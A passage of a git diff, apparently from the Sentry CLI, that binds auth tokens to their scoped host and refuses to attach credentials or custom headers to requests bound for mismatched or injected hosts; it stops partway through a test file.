CURRENT_SCHEMA_VERSION diff --git a/src/lib/env-token-host.ts b/src/lib/env-token-host.ts new file mode 100644 index 000000000..f99cf82e2 --- /dev/null +++ b/src/lib/env-token-host.ts @@ -0,0 +1,93 @@ +/** + * Env-Token Host Snapshot + * + * Captures the host an env-var auth token (`SENTRY_AUTH_TOKEN` / + * `SENTRY_TOKEN`) is scoped to, BEFORE any post-boot code path can mutate + * `env.SENTRY_HOST`/`env.SENTRY_URL` (specifically before + * `applySentryCliRcEnvShim` writes from a `.sentryclirc` file). + * + * Trust model for the snapshot source: + * + * - `SENTRY_HOST`/`SENTRY_URL` from env are NOT unconditionally trusted. + * In layered CI environments (e.g. GitHub Actions `$GITHUB_ENV`), a + * low-privilege step can write env vars that a later high-privilege step + * inherits — without having read access to `SENTRY_AUTH_TOKEN`. So + * env-host and env-token may have different integrity levels. + * + * - For `sntrys_` org-auth tokens, the embedded `url` claim is the + * authoritative source: the real Sentry server wrote it at issuance + * time, and it can't be overridden by env injection. The claim wins + * over env when both are present. + * + * - For non-`sntrys_` tokens (no claim), env is the only signal + * available. The residual risk in layered-CI is documented in the PR + * description as a workflow-design concern; recommendation is to use + * `sntrys_` tokens in CI. + * + * - `.sentryclirc` files are never consulted here — they have weaker + * integrity than either env or token claims. + * + * Boot ordering (see `src/cli.ts::preloadProjectContext`): + * 1. captureEnvTokenHost() ← this module, env + claim, synchronous + * 2. findProjectRoot ← populates .sentryclirc cache + * 3. applySentryCliRcEnvShim ← may write env.SENTRY_URL + * 4. getDefaultUrl() fallback ← may write env.SENTRY_URL + */ + +import { DEFAULT_SENTRY_URL } from "./constants.js"; +import { getRawEnvToken } from "./db/auth.js"; +import { getEnv } from "./env.js"; +import { normalizeUserInputToOrigin } from "./sentry-urls.js"; +import { getSntrysClaimUrl } from "./token-claims.js"; + +/** Pinned host. `undefined` means not yet captured. */ +let pinnedHost: string | undefined; + +/** + * Snapshot the env-token's scoping host. Idempotent — second and subsequent + * calls are no-ops. + * + * Resolution order: + * 1. `sntrys_` token claim's `url` — authoritative for org-auth tokens. + * Immune to env injection because the claim is embedded in the token + * bytes (which the attacker can't read in layered-CI attacks). + * 2. `SENTRY_HOST`/`SENTRY_URL` from env — fallback for non-`sntrys_` + * tokens that don't carry a claim. + * 3. `DEFAULT_SENTRY_URL` (SaaS). + */ +export function captureEnvTokenHost(): void { + if (pinnedHost !== undefined) { + return; + } + // Claim first: for sntrys_ tokens, the embedded url is authoritative. + const claimHost = normalizeUserInputToOrigin( + getSntrysClaimUrl(getRawEnvToken()) + ); + if (claimHost) { + pinnedHost = claimHost; + return; + } + // Env fallback: for non-sntrys_ tokens (no claim available). + const env = getEnv(); + const envHost = normalizeUserInputToOrigin( + env.SENTRY_HOST?.trim() || env.SENTRY_URL?.trim() + ); + pinnedHost = envHost ?? DEFAULT_SENTRY_URL; +} + +/** + * Return the pinned env-token host, auto-capturing on first call. The + * standard boot path calls `captureEnvTokenHost()` explicitly; this + * auto-capture covers library-mode callers that bypass the boot. + */ +export function getEnvTokenHost(): string { + if (pinnedHost === undefined) { + captureEnvTokenHost(); + } + return pinnedHost ?? DEFAULT_SENTRY_URL; +} + +/** @internal */ +export function resetEnvTokenHostForTesting(): void { + pinnedHost = undefined; +} diff --git a/src/lib/errors.ts b/src/lib/errors.ts index 7e058a051..bf6149ee2 100644 --- a/src/lib/errors.ts +++ b/src/lib/errors.ts @@ -33,6 +33,24 @@ export class CliError extends Error { } } +/** + * Host-scoping trust violation — thrown by the fetch-layer and entry-point + * guards when a request's destination doesn't match the active token's + * scoped host. + * + * Distinct from plain `CliError` so that `withAuthGuard` can re-throw these + * (like `AuthError`) while still swallowing `ApiError` and other transient + * failures. Swallowing a host-scope violation would hide a security-fix + * rejection behind a misleading "no results" return, and the caller might + * fall back to a second authenticated request that ALSO trips the guard. + */ +export class HostScopeError extends CliError { + constructor(message: string) { + super(message); + this.name = "HostScopeError"; + } +} + /** * API request errors from Sentry. * @@ -606,18 +624,26 @@ export type AuthGuardFailure = { ok: false; error: unknown }; export type AuthGuardResult = AuthGuardSuccess | AuthGuardFailure; /** - * Execute an async operation, rethrowing {@link AuthError} while capturing - * all other failures in a discriminated result. + * Execute an async operation, rethrowing {@link AuthError} and + * {@link HostScopeError} while capturing all other failures in a + * discriminated result. * * This is the standard "safe fetch" pattern used throughout the CLI: - * auth errors must propagate so the auto-login flow in bin.ts can - * trigger, but transient failures (network, 404, permissions) should - * degrade gracefully. Callers inspect `result.ok` to decide what to do - * and have access to the caught error via `result.error` when needed. + * + * - `AuthError` propagates so the auto-login flow in bin.ts can trigger. + * - `HostScopeError` propagates so the user sees the security-fix + * rejection with its actionable message. Without this, host-scoping + * violations would be silently swallowed into "no results" and the + * caller might fall back to a second authenticated request that ALSO + * trips the guard (doubling the log noise and masking the root cause). + * + * Transient failures (network, `ApiError` for 4xx/5xx, permissions) are + * captured in `{ ok: false, error }` so callers can degrade gracefully. * * @param fn - Async operation that may throw - * @returns `{ ok: true, value }` on success, `{ ok: false, error }` on non-auth failure + * @returns `{ ok: true, value }` on success, `{ ok: false, error }` on transient failure * @throws {AuthError} Always re-thrown so the auto-login flow can trigger + * @throws {HostScopeError} Always re-thrown so host-scoping rejections surface to the user */ export async function withAuthGuard( fn: () => Promise @@ -625,7 +651,7 @@ export async function withAuthGuard( try { return { ok: true, value: await fn() }; } catch (error) { - if (error instanceof AuthError) { + if (error instanceof AuthError || error instanceof HostScopeError) { throw error; } return { ok: false, error }; diff --git a/src/lib/oauth.ts b/src/lib/oauth.ts index bcf79cc0f..ceae70054 100644 --- a/src/lib/oauth.ts +++ b/src/lib/oauth.ts @@ -12,11 +12,23 @@ import { TokenResponseSchema, } from "../types/index.js"; import { DEFAULT_SENTRY_URL, getConfiguredSentryUrl } from "./constants.js"; -import { getCustomHeaders } from "./custom-headers.js"; +import { applyCustomHeaders } from "./custom-headers.js"; import { setAuthToken } from "./db/auth.js"; import { getEnv } from "./env.js"; -import { ApiError, AuthError, ConfigError, DeviceFlowError } from "./errors.js"; +import { + ApiError, + AuthError, + ConfigError, + DeviceFlowError, + HostScopeError, +} from "./errors.js"; +import { buildUrlMismatchMessage } from "./sentry-url-parser.js"; import { withHttpSpan } from "./telemetry.js"; +import { + getActiveTokenHost, + isRequestOriginTrusted, + normalizeOrigin, +} from "./token-host.js"; /** * Get the Sentry instance URL for OAuth endpoints. @@ -86,16 +98,11 @@ async function fetchWithConnectionError( url: string, init: RequestInit ): Promise { - // Inject custom headers for self-hosted proxies (IAP, mTLS, etc.) - let effectiveInit = init; - const customHeaders = getCustomHeaders(); - if (customHeaders.length > 0) { - const merged = new Headers(init.headers); - for (const [name, value] of customHeaders) { - merged.set(name, value); - } - effectiveInit = { ...init, headers: merged }; - } + // Inject custom headers for self-hosted proxies (IAP, mTLS, etc.) — + // URL-scoped so they don't leak to untrusted hosts. + const merged = new Headers(init.headers); + applyCustomHeaders(merged, url); + const effectiveInit: RequestInit = { ...init, headers: merged }; try { return await fetch(url, effectiveInit); @@ -117,6 +124,24 @@ async function fetchWithConnectionError( } } +/** + * Refuse to POST a refresh token to a host that doesn't match the active + * token's scope. Defense-in-depth for the rare case where SENTRY_HOST/URL + * was mutated without going through the URL-arg / rc-shim guards. + */ +function assertRefreshHostTrusted(): void { + const refreshUrl = getSentryUrl(); + if (!isRequestOriginTrusted(refreshUrl)) { + throw new HostScopeError( + buildUrlMismatchMessage( + "OAuth refresh token", + normalizeOrigin(refreshUrl) ?? "", + getActiveTokenHost() + ) + ); + } +} + /** Request a device code from Sentry's device authorization endpoint */ function requestDeviceCode() { const clientId = getClientId(); @@ -318,7 +343,9 @@ export async function performDeviceFlow( } /** - * Complete the OAuth flow by storing the token in the database. + * Complete the OAuth flow by storing the token in the database. The token + * is scoped to {@link getSentryUrl} so the fetch-layer trust check refuses + * to attach it to other hosts. * * @param tokenResponse - The token response from performDeviceFlow */ @@ -328,7 +355,8 @@ export async function completeOAuthFlow( await setAuthToken( tokenResponse.access_token, tokenResponse.expires_in, - tokenResponse.refresh_token + tokenResponse.refresh_token, + { host: getSentryUrl() } ); } @@ -340,7 +368,7 @@ export async function completeOAuthFlow( * @param token - The API token to store */ export async function setApiToken(token: string): Promise { - await setAuthToken(token); + await setAuthToken(token, undefined, undefined, { host: getSentryUrl() }); } /** Refresh an access token using a refresh token. */ @@ -355,6 +383,8 @@ export function refreshAccessToken( ); } + assertRefreshHostTrusted(); + return withHttpSpan("POST", "/oauth/token/", async () => { const response = await fetchWithConnectionError( `${getSentryUrl()}/oauth/token/`, diff --git a/src/lib/region.ts b/src/lib/region.ts index 00d2dd14d..993d2521c 100644 --- a/src/lib/region.ts +++ b/src/lib/region.ts @@ -87,7 +87,9 @@ async function resolveOrgRegionUncached(orgSlug: string): Promise { const regionUrl = response.data?.links?.regionUrl ?? baseUrl; - // Cache for future use + // Cache for future use. setOrgRegion also extends the in-process + // trust class so the subsequent request to this region passes the + // fetch-layer guard without needing a separate registration call. setOrgRegion(orgSlug, regionUrl); return regionUrl; diff --git a/src/lib/sentry-client.ts b/src/lib/sentry-client.ts index 32cb03f68..b3e271b01 100644 --- a/src/lib/sentry-client.ts +++ b/src/lib/sentry-client.ts @@ -18,14 +18,22 @@ import { } from "./constants.js"; import { applyCustomHeaders } from "./custom-headers.js"; import { getAuthToken, refreshToken } from "./db/auth.js"; -import { TimeoutError } from "./errors.js"; +import { HostScopeError, TimeoutError } from "./errors.js"; import { logger } from "./logger.js"; import { getCachedResponse, invalidateCachedResponsesMatching, storeCachedResponse, } from "./response-cache.js"; +import { buildUrlMismatchMessage } from "./sentry-url-parser.js"; import { withTracingSpan } from "./telemetry.js"; +import { getSntrysClaimUrl } from "./token-claims.js"; +import { + getActiveTokenHost, + isHostTrustedForClaim, + isRequestOriginTrusted, + normalizeOrigin, +} from "./token-host.js"; const log = logger.withTag("http"); @@ -100,6 +108,34 @@ function prepareHeaders( init: RequestInit | undefined, token: string ): Headers { + // Host-scoping guard (defense in depth). Primary rejection happens at the + // URL-arg / rc-shim entry points; this catches any code path that mutated + // SENTRY_HOST/SENTRY_URL without going through those guards. + if (!isRequestOriginTrusted(input)) { + throw new HostScopeError( + buildUrlMismatchMessage( + "Credentials", + normalizeOrigin(input) ?? "", + getActiveTokenHost() + ) + ); + } + + // sntrys_ claim check — defense-in-depth for users with access to + // multiple Sentry instances. The claim is unsigned (see token-claims.ts); + // fail-open on parse errors. Uses isHostTrustedForClaim so multi-region + // fan-out via the control silo's region URLs still works. + const claimUrl = getSntrysClaimUrl(token); + if (claimUrl && !isHostTrustedForClaim(input, claimUrl)) { + throw new HostScopeError( + buildUrlMismatchMessage( + "Credentials", + normalizeOrigin(input) ?? "", + claimUrl + ) + ); + } + // When the SDK calls fetch(request) with no init, read headers from the Request // object to preserve Content-Type. On Node.js, fetch(request, {headers}) replaces // the Request's headers entirely per spec, so we must carry them forward explicitly. @@ -123,8 +159,9 @@ function prepareHeaders( headers.set("baggage", traceData.baggage); } - // Inject user-configured custom headers for self-hosted proxies (IAP, mTLS, etc.) - applyCustomHeaders(headers); + // Inject user-configured custom headers for self-hosted proxies (IAP, + // mTLS, etc.) — scoped to the request URL. + applyCustomHeaders(headers, input); return headers; } diff --git a/src/lib/sentry-url-parser.ts b/src/lib/sentry-url-parser.ts index 65414e951..bfcc6435f 100644 --- a/src/lib/sentry-url-parser.ts +++ b/src/lib/sentry-url-parser.ts @@ -10,7 +10,9 @@ import { DEFAULT_SENTRY_HOST } from "./constants.js"; import { getEnv } from "./env.js"; -import { isSentrySaasUrl } from "./sentry-urls.js"; +import { HostScopeError } from "./errors.js"; +import { isSaaSTrustOrigin } from "./sentry-urls.js"; +import { getActiveTokenHost, isHostTrusted } from "./token-host.js"; /** * Components extracted from a Sentry web URL. @@ -210,27 +212,70 @@ export function parseSentryUrl(input: string): ParsedSentryUrl | null { } /** - * Configure `SENTRY_URL` for self-hosted instances detected from a parsed URL. + * Configure `SENTRY_URL` for self-hosted instances detected from a parsed + * URL, with a host-scoping trust check. * - * Sets the env var when the URL is NOT a Sentry SaaS domain (*.sentry.io), - * since SaaS uses multi-region routing instead. + * SaaS URLs proceed (credentials scoped to SaaS are valid for any sentry.io + * subdomain). Non-SaaS URLs require the active token's host to match — + * otherwise throws `HostScopeError`. Only `sentry auth login --url ` + * establishes trust for a new non-SaaS host. * - * The parsed URL always takes precedence over any existing `SENTRY_URL` value - * because an explicit URL argument is the strongest signal of user intent. - * - * @param baseUrl - The scheme + host extracted from the URL (e.g., "https://sentry.example.com") + * @param baseUrl - The scheme + host extracted from the URL + * @throws {HostScopeError} On non-SaaS URL that doesn't match the token */ export function applySentryUrlContext(baseUrl: string): void { const env = getEnv(); - if (isSentrySaasUrl(baseUrl)) { + // Strict SaaS check (https + default port) matches isHostTrusted + // semantics downstream — `http://sentry.io` and `:8443` must not bypass + // the trust check. + if (isSaaSTrustOrigin(baseUrl)) { // Clear any self-hosted URL so API calls fall back to default SaaS routing. - // Without this, a stale SENTRY_HOST/SENTRY_URL would route SaaS requests to the wrong host. // biome-ignore lint/performance/noDelete: env registry requires delete to truly unset; assignment coerces to string in Node.js delete env.SENTRY_HOST; // biome-ignore lint/performance/noDelete: env registry requires delete to truly unset; assignment coerces to string in Node.js delete env.SENTRY_URL; return; } + + const tokenHost = getActiveTokenHost(); + if (!(tokenHost && isHostTrusted(baseUrl, tokenHost))) { + throw new HostScopeError( + buildUrlMismatchMessage("URL argument", baseUrl, tokenHost) + ); + } + env.SENTRY_HOST = baseUrl; env.SENTRY_URL = baseUrl; } + +/** + * Build a host-scoping mismatch error message. Used by every guard site + * that rejects a request/route because the destination doesn't match the + * active token's scope. + * + * @param source - What's being refused (e.g. `"URL argument"`, + * `"Config at /path/.sentryclirc"`, `"credentials"`, + * `"OAuth refresh token"`). + * @param destinationUrl - The URL that doesn't match the token. + * @param tokenHost - The active token's scoped host, or `undefined` when + * no token is configured (needs a different action hint). + */ +export function buildUrlMismatchMessage( + source: string, + destinationUrl: string, + tokenHost: string | undefined +): string { + if (tokenHost === undefined) { + return ( + `${source}: ${destinationUrl}\n` + + "Refusing to route requests to this host because no Sentry credentials are configured for it.\n" + + `To use this host, run: sentry auth login --url ${destinationUrl}` + ); + } + return ( + `${source}: ${destinationUrl}\n` + + `Refusing to route requests here because it doesn't match the host your Sentry credentials are for (${tokenHost}).\n` + + `To use this host, run: sentry auth login --url ${destinationUrl}\n` + + "To keep using your current credentials, remove this URL override." + ); +} diff --git a/src/lib/sentry-urls.ts b/src/lib/sentry-urls.ts index 74d24972e..50a6e5153 100644 --- a/src/lib/sentry-urls.ts +++ b/src/lib/sentry-urls.ts @@ -9,6 +9,7 @@ import { DEFAULT_SENTRY_HOST, DEFAULT_SENTRY_URL, getConfiguredSentryUrl, + normalizeUrl, } from "./constants.js"; /** @@ -41,10 +42,18 @@ function isSaaS(): boolean { } /** - * Check if a URL is a Sentry SaaS domain. + * Check if a URL is a Sentry SaaS domain (hostname check only). * - * Used to determine if multi-region support should be enabled and to - * validate region URLs before sending authenticated requests. + * Used for routing decisions: which URLs are multi-region-eligible, which + * are self-hosted, whether telemetry should route to SaaS, etc. Matches + * on hostname alone — scheme and port are NOT checked, so this accepts + * e.g. `http://sentry.io` and `https://sentry.io:8443` even though those + * aren't legitimate production SaaS addresses. That's intentional for + * routing (test harnesses occasionally use these). + * + * For TRUST decisions (deciding whether a SaaS-scoped token is valid for + * a given origin), use {@link isSaaSTrustOrigin} which additionally + * requires https scheme and default port. * * @param url - URL string to validate * @returns true if the hostname is sentry.io or a subdomain of sentry.io @@ -61,6 +70,84 @@ export function isSentrySaasUrl(url: string): boolean { } } +/** + * Check if a URL is a Sentry SaaS origin for TRUST purposes. + * + * Stricter than {@link isSentrySaasUrl}: additionally requires + * - scheme = `https:` (production SaaS is HTTPS-only; `http://sentry.io` + * is never legitimate and a crafted plaintext URL must NOT inherit + * SaaS trust) + * - port = default (empty `port` in WHATWG URL means the scheme's + * default port; any explicit non-default port indicates either a + * crafted URL or DNS redirect we don't trust) + * + * Used by the host-scoping trust check (`token-host.ts::isHostTrusted`) + * to decide SaaS equivalence. Keep in sync with {@link isSentrySaasUrl} + * when adding new trust classes. + * + * @param url - URL string to validate + * @returns true only if the URL is a strictly-SaaS origin + */ +export function isSaaSTrustOrigin(url: string): boolean { + try { + const parsed = new URL(url); + if (parsed.protocol !== "https:") { + return false; + } + if (parsed.port !== "") { + return false; + } + return ( + parsed.hostname === DEFAULT_SENTRY_HOST || + parsed.hostname.endsWith(`.${DEFAULT_SENTRY_HOST}`) + ); + } catch { + return false; + } +} + +/** + * Normalize a URL (or fetch input) to its canonical origin + * (`scheme://host[:port]`). Returns `undefined` for inputs that don't parse + * as URLs. Bare hostnames are NOT accepted — use {@link normalizeUserInputToOrigin} + * for user-supplied strings that may be bare hostnames. + */ +export function normalizeOrigin( + input: string | URL | Request | undefined | null +): string | undefined { + if (input === null || input === undefined) { + return; + } + let raw: string; + if (typeof input === "string") { + raw = input; + } else if (input instanceof URL) { + raw = input.href; + } else { + raw = input.url; + } + try { + return new URL(raw).origin; + } catch { + return; + } +} + +/** + * Normalize a user-supplied string (env var, CLI flag, rc file value) to a + * canonical origin. Accepts bare hostnames (`sentry.acme.com`) by prefixing + * with `https://` via {@link normalizeUrl} before parsing. + * + * Returns `undefined` for empty/whitespace input or strings that still fail + * to parse after the prefix. + */ +export function normalizeUserInputToOrigin( + input: string | undefined +): string | undefined { + const prefixed = normalizeUrl(input); + return prefixed ? normalizeOrigin(prefixed) : undefined; +} + /** * Build URL to view an organization in Sentry. * diff --git a/src/lib/sentryclirc.ts b/src/lib/sentryclirc.ts index 2d9f37046..5c91a7333 100644 --- a/src/lib/sentryclirc.ts +++ b/src/lib/sentryclirc.ts @@ -19,10 +19,15 @@ import { stat } from "node:fs/promises"; import { homedir } from "node:os"; import { join } from "node:path"; +import { normalizeUrl } from "./constants.js"; import { getConfigDir } from "./db/index.js"; import { getEnv } from "./env.js"; +import { HostScopeError } from "./errors.js"; import { parseIni } from "./ini.js"; import { logger } from "./logger.js"; +import { buildUrlMismatchMessage } from "./sentry-url-parser.js"; +import { isSaaSTrustOrigin } from "./sentry-urls.js"; +import { getActiveTokenHost, isHostTrusted } from "./token-host.js"; import { walkUpFrom } from "./walk-up.js"; const log = logger.withTag("sentryclirc"); @@ -312,6 +317,56 @@ export function loadSentryCliRc(cwd: string): Promise { return promise; } +export type ApplySentryCliRcEnvShimOptions = { + /** + * Bypass the host-scoping trust check on the rc URL. Used for `auth + * login` / `auth logout` so onboarding from a repo with a different + * rc URL isn't chicken-and-egg. The rc URL is still applied to env. + */ + skipUrlTrustCheck?: boolean; +}; + +/** + * Apply the rc-sourced url to env, gated by the host-scoping trust check. + * `.sentryclirc` files (repo-local or global) are untrusted as trust + * sources — the URL is honored only when it matches the active token's + * scoped host (or under `skipUrlTrustCheck` for auth login/logout). + */ +function applyRcUrlIfTrusted( + config: SentryCliRcConfig, + env: NodeJS.ProcessEnv, + options?: ApplySentryCliRcEnvShimOptions +): void { + // Normalize bare hostnames (`url = sentry.io`) before passing through + // URL parsers — otherwise `new URL(...)` would reject them. + const normalizedRcUrl = config.url ? normalizeUrl(config.url) : undefined; + if ( + !(normalizedRcUrl && !env.SENTRY_HOST?.trim() && !env.SENTRY_URL?.trim()) + ) { + return; + } + + // SaaS bypass uses the strict trust-origin check (https + default port) + // to match isHostTrusted semantics downstream — `http://sentry.io` and + // `:8443` must NOT be silently treated as SaaS. + if (!(options?.skipUrlTrustCheck || isSaaSTrustOrigin(normalizedRcUrl))) { + const tokenHost = getActiveTokenHost(); + if (!(tokenHost && isHostTrusted(normalizedRcUrl, tokenHost))) { + const source = config.sources.url + ? `Config at ${config.sources.url}` + : `${CONFIG_FILENAME} [defaults] url`; + throw new HostScopeError( + buildUrlMismatchMessage(source, normalizedRcUrl, tokenHost) + ); + } + } + + log.debug( + `Setting SENTRY_URL from ${CONFIG_FILENAME} (${config.sources.url})` + ); + env.SENTRY_URL = normalizedRcUrl; +} + /** * Apply env shim for `.sentryclirc` token and URL fields. * @@ -321,10 +376,11 @@ export function loadSentryCliRc(cwd: string): Promise { * - `[defaults] url` → `SENTRY_URL` (if both `SENTRY_HOST` and `SENTRY_URL` are unset) * * Call this once, early in the CLI boot process (before any auth or API calls). - * - * @param cwd - Current working directory for config file lookup */ -export async function applySentryCliRcEnvShim(cwd: string): Promise { +export async function applySentryCliRcEnvShim( + cwd: string, + options?: ApplySentryCliRcEnvShimOptions +): Promise { const config = await loadSentryCliRc(cwd); const env = getEnv(); @@ -341,12 +397,7 @@ export async function applySentryCliRcEnvShim(cwd: string): Promise { env.SENTRY_AUTH_TOKEN = config.token; } - if (config.url && !env.SENTRY_HOST?.trim() && !env.SENTRY_URL?.trim()) { - log.debug( - `Setting SENTRY_URL from ${CONFIG_FILENAME} (${config.sources.url})` - ); - env.SENTRY_URL = config.url; - } + applyRcUrlIfTrusted(config, env, options); } /** diff --git a/src/lib/token-claims.ts b/src/lib/token-claims.ts new file mode 100644 index 000000000..34cf3ea4d --- /dev/null +++ b/src/lib/token-claims.ts @@ -0,0 +1,88 @@ +/** + * Sentry Org-Auth-Token (`sntrys_`) Claim Extraction + * + * Format: `sntrys__` + * (server-side: getsentry/sentry `orgauthtoken_token.py`). + * + * The claim is **NOT signed** — anyone can craft a sntrys_ string with any + * `url` they want. Use this as a defense-in-depth signal or a UX hint, NEVER + * as a primary trust source. The boot-time env snapshot + * (`captureEnvTokenHost`) and the `auth.host` column remain authoritative. + */ + +const SNTRYS_PREFIX = "sntrys_"; + +/** 2 KB cap. Real tokens are ~150-300 bytes; cap defends the auth hot path. */ +const MAX_TOKEN_LENGTH = 2048; + +/** Subset of `sntrys_` payload fields we care about. */ +export type SntrysClaim = { + url: string; + regionUrl?: string; +}; + +/** + * Extract the `url` (and optional `region_url`) claim from a Sentry + * org-auth-token. Returns `undefined` for any non-`sntrys_` token, any + * malformed token, or any payload missing `iat` or `url`. + * + * Read the file-level JSDoc before adding new callers. + */ +export function parseSntrysClaim( + token: string | undefined +): SntrysClaim | undefined { + if (!token || token.length > MAX_TOKEN_LENGTH) { + return; + } + if (!token.startsWith(SNTRYS_PREFIX)) { + return; + } + // Server contract: exactly 2 underscores. Standard base64 alphabet has no + // `_`, so the second one always separates payload from secret. + if ((token.match(/_/g) ?? []).length !== 2) { + return; + } + const payloadEncoded = token.slice( + SNTRYS_PREFIX.length, + token.lastIndexOf("_") + ); + if (!payloadEncoded) { + return; + } + + let parsed: unknown; + try { + parsed = JSON.parse(Buffer.from(payloadEncoded, "base64").toString("utf8")); + } catch { + return; + } + + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + return; + } + const obj = parsed as Record; + + // Match server's `parse_token`: rejects payloads without truthy `iat`. + if (!obj.iat) { + return; + } + + const url = obj.url; + if (typeof url !== "string" || !url) { + return; + } + + const regionUrl = + typeof obj.region_url === "string" && obj.region_url + ? obj.region_url + : undefined; + + return { url, regionUrl }; +} + +/** Convenience wrapper: returns just the `url` claim, or `undefined`. */ +export function getSntrysClaimUrl( + token: string | undefined +): string | undefined { + return parseSntrysClaim(token)?.url; +} diff --git a/src/lib/token-host.ts b/src/lib/token-host.ts new file mode 100644 index 000000000..18f0e51ba --- /dev/null +++ b/src/lib/token-host.ts @@ -0,0 +1,185 @@ +// biome-ignore-all lint/performance/noBarrelFile: re-exports unify the +// host-trust model surface across token-host.ts (logic), db/regions.ts +// (region-URL trust extension state), and sentry-urls.ts (URL helpers). +// The split exists to avoid an import cycle, not to expand surface. + +/** + * Host-Scoped Token Trust Model + * + * Tokens (env or stored OAuth) are bound to a specific Sentry host. The fetch + * layer (and the `.sentryclirc` / URL-arg entry points) check each request's + * destination against the token's recorded host and refuse to attach + * credentials when they don't match — so untrusted routing inputs can't leak + * credentials to an attacker's host. + * + * Host equivalence: + * - Exact origin match (scheme + host + explicit port). + * - SaaS equivalence class: a token scoped to `https://sentry.io` is valid for + * any `*.sentry.io` subdomain. Non-SaaS hosts match exactly — no subdomain + * suffix matching (a `sentry.acme.com` token does NOT match + * `sentry.acme.evil.com`). + * + * See `.opencode/plans/1777023782662-proud-circuit.md` for full rationale. + */ + +import { getRawEnvToken, getUsableStoredTokenHost } from "./db/auth.js"; +import { isTrustedRegionOrigin } from "./db/regions.js"; +import { getEnv } from "./env.js"; +import { getEnvTokenHost } from "./env-token-host.js"; +import { isSaaSTrustOrigin, normalizeOrigin } from "./sentry-urls.js"; + +// Re-export so existing callers don't churn — these symbols live in their +// natural home modules to avoid an import cycle, but they're conceptually +// part of the host-trust surface this module documents. +export { + clearTrustedHostState, + registerTrustedRegionUrls, + resetTrustedRegionUrlsForTesting, +} from "./db/regions.js"; +export { normalizeOrigin } from "./sentry-urls.js"; + +/** + * Check whether `candidate` matches `trusted` under the host-scoping trust + * model. SaaS tokens accept any `*.sentry.io` subdomain (with strict + * https + default port); non-SaaS hosts must match exact origin. + * + * Returns `false` when either argument fails to parse. + */ +export function isHostTrusted( + candidate: string | URL | Request | undefined | null, + trusted: string | undefined | null +): boolean { + if (!trusted) { + return false; + } + const candidateOrigin = normalizeOrigin(candidate); + const trustedOrigin = normalizeOrigin(trusted); + if (!(candidateOrigin && trustedOrigin)) { + return false; + } + if (candidateOrigin === trustedOrigin) { + return true; + } + // SaaS equivalence requires the strict check (https + default port) on + // both sides — `http://sentry.io` or `:8443` must not inherit SaaS trust. + return isSaaSTrustOrigin(trustedOrigin) && isSaaSTrustOrigin(candidateOrigin); +} + +/** + * Resolve the origin of the currently active Sentry token, if any. + * + * Precedence mirrors {@link getAuthConfig}: + * 1. `SENTRY_FORCE_ENV_TOKEN` + env token present → env-token host snapshot + * 2. Stored OAuth row (with lazy NULL-host migration) → row host + * 3. Env token present → env-token host snapshot + * 4. No token → `undefined` + */ +export function getActiveTokenHost(): string | undefined { + const forceEnv = getEnv().SENTRY_FORCE_ENV_TOKEN?.trim(); + if (forceEnv && getRawEnvToken()) { + return getEnvTokenHost(); + } + // Atomic read avoids a TOCTOU window between "is there a usable token?" + // and "read its host". + const storedHost = getUsableStoredTokenHost(); + if (storedHost) { + return storedHost; + } + if (getRawEnvToken()) { + return getEnvTokenHost(); + } + return; +} + +/** + * Process-local login trust anchor — set by `applyLoginUrl` from `--url` or + * the boot-time env snapshot. Used by {@link isRequestOriginTrustedForCustomHeaders} + * during the no-token bootstrap window so OAuth device-flow requests against + * IAP-protected self-hosted instances can carry `SENTRY_CUSTOM_HEADERS`. + * + * The shell argv / boot env is at the same trust boundary as `SENTRY_AUTH_TOKEN` + * itself (per the plan's threat model), so this is safe. Crucially, the + * `.sentryclirc` shim does NOT register an anchor — only explicit `--url` or + * boot-time env values do. + */ +let loginTrustAnchor: string | undefined; + +/** Register an explicit login-time trust anchor. URLs are normalized. */ +export function registerLoginTrustAnchor(url: string): void { + const origin = normalizeOrigin(url); + if (origin) { + loginTrustAnchor = origin; + } +} + +/** + * Whether the current process's login trust anchor matches `host` under the + * host-scoping trust model (exact origin or SaaS equivalence). The match + * check is load-bearing: an existence-only check would let a stale anchor + * from a prior `auth login --url ` (in library/test mode) admit + * a login against a different host. + */ +export function isLoginTrustAnchorFor(host: string): boolean { + return isHostTrusted(host, loginTrustAnchor); +} + +/** @internal exported for testing */ +export function resetLoginTrustAnchorForTesting(): void { + loginTrustAnchor = undefined; +} + +/** + * Check whether a request's origin is trusted under the active token's scope, + * including dynamically-discovered regional silos. Returns `true` when no + * token is active (nothing to protect). + */ +export function isRequestOriginTrusted( + requestInput: string | URL | Request | undefined | null +): boolean { + const tokenHost = getActiveTokenHost(); + if (!tokenHost) { + return true; + } + if (isHostTrusted(requestInput, tokenHost)) { + return true; + } + const requestOrigin = normalizeOrigin(requestInput); + return requestOrigin !== undefined && isTrustedRegionOrigin(requestOrigin); +} + +/** + * Like {@link isRequestOriginTrusted}, but anchored on the (unsigned) `sntrys_` + * claim url instead of `getActiveTokenHost()`. Honors region-URL extension so + * self-hosted multi-region setups still work — claim points at the control + * silo, fan-out goes to regions discovered via `/users/me/regions/`. + */ +export function isHostTrustedForClaim( + requestInput: string | URL | Request | undefined | null, + claimUrl: string +): boolean { + if (isHostTrusted(requestInput, claimUrl)) { + return true; + } + const requestOrigin = normalizeOrigin(requestInput); + return requestOrigin !== undefined && isTrustedRegionOrigin(requestOrigin); +} + +/** + * Trust check for `applyCustomHeaders` (IAP tokens, mTLS headers, etc.). + * + * Token present → same as {@link isRequestOriginTrusted}. No token but an + * explicit login trust anchor → check against the anchor (allows OAuth + * device-flow against IAP-protected self-hosted to carry custom headers). + * No anchor at all → fail closed. + */ +export function isRequestOriginTrustedForCustomHeaders( + requestInput: string | URL | Request | undefined | null +): boolean { + if (getActiveTokenHost()) { + return isRequestOriginTrusted(requestInput); + } + if (loginTrustAnchor) { + return isHostTrusted(requestInput, loginTrustAnchor); + } + return false; +} diff --git a/test/cli.test.ts b/test/cli.test.ts new file mode 100644 index 000000000..4f68a031d --- /dev/null +++ b/test/cli.test.ts @@ -0,0 +1,114 @@ +/** + * Unit tests for argv-parsing helpers in src/cli.ts. + * + * These run at boot to decide whether to bypass the .sentryclirc URL trust + * check. They must be robust against global-flag placements so that + * `auth login --url ` onboarding from inside a poisoned-rc repo + * always works regardless of argv arrangement. + */ + +import { describe, expect, test } from "bun:test"; +import { extractPositionals, isTrustChangingCommand } from "../src/cli.js"; + +describe("extractPositionals", () => { + test("returns all positionals when no flags present", () => { + expect(extractPositionals(["auth", "login"])).toEqual(["auth", "login"]); + }); + + test("skips leading --flag=value", () => { + expect(extractPositionals(["--json=false", "auth", "login"])).toEqual([ + "auth", + 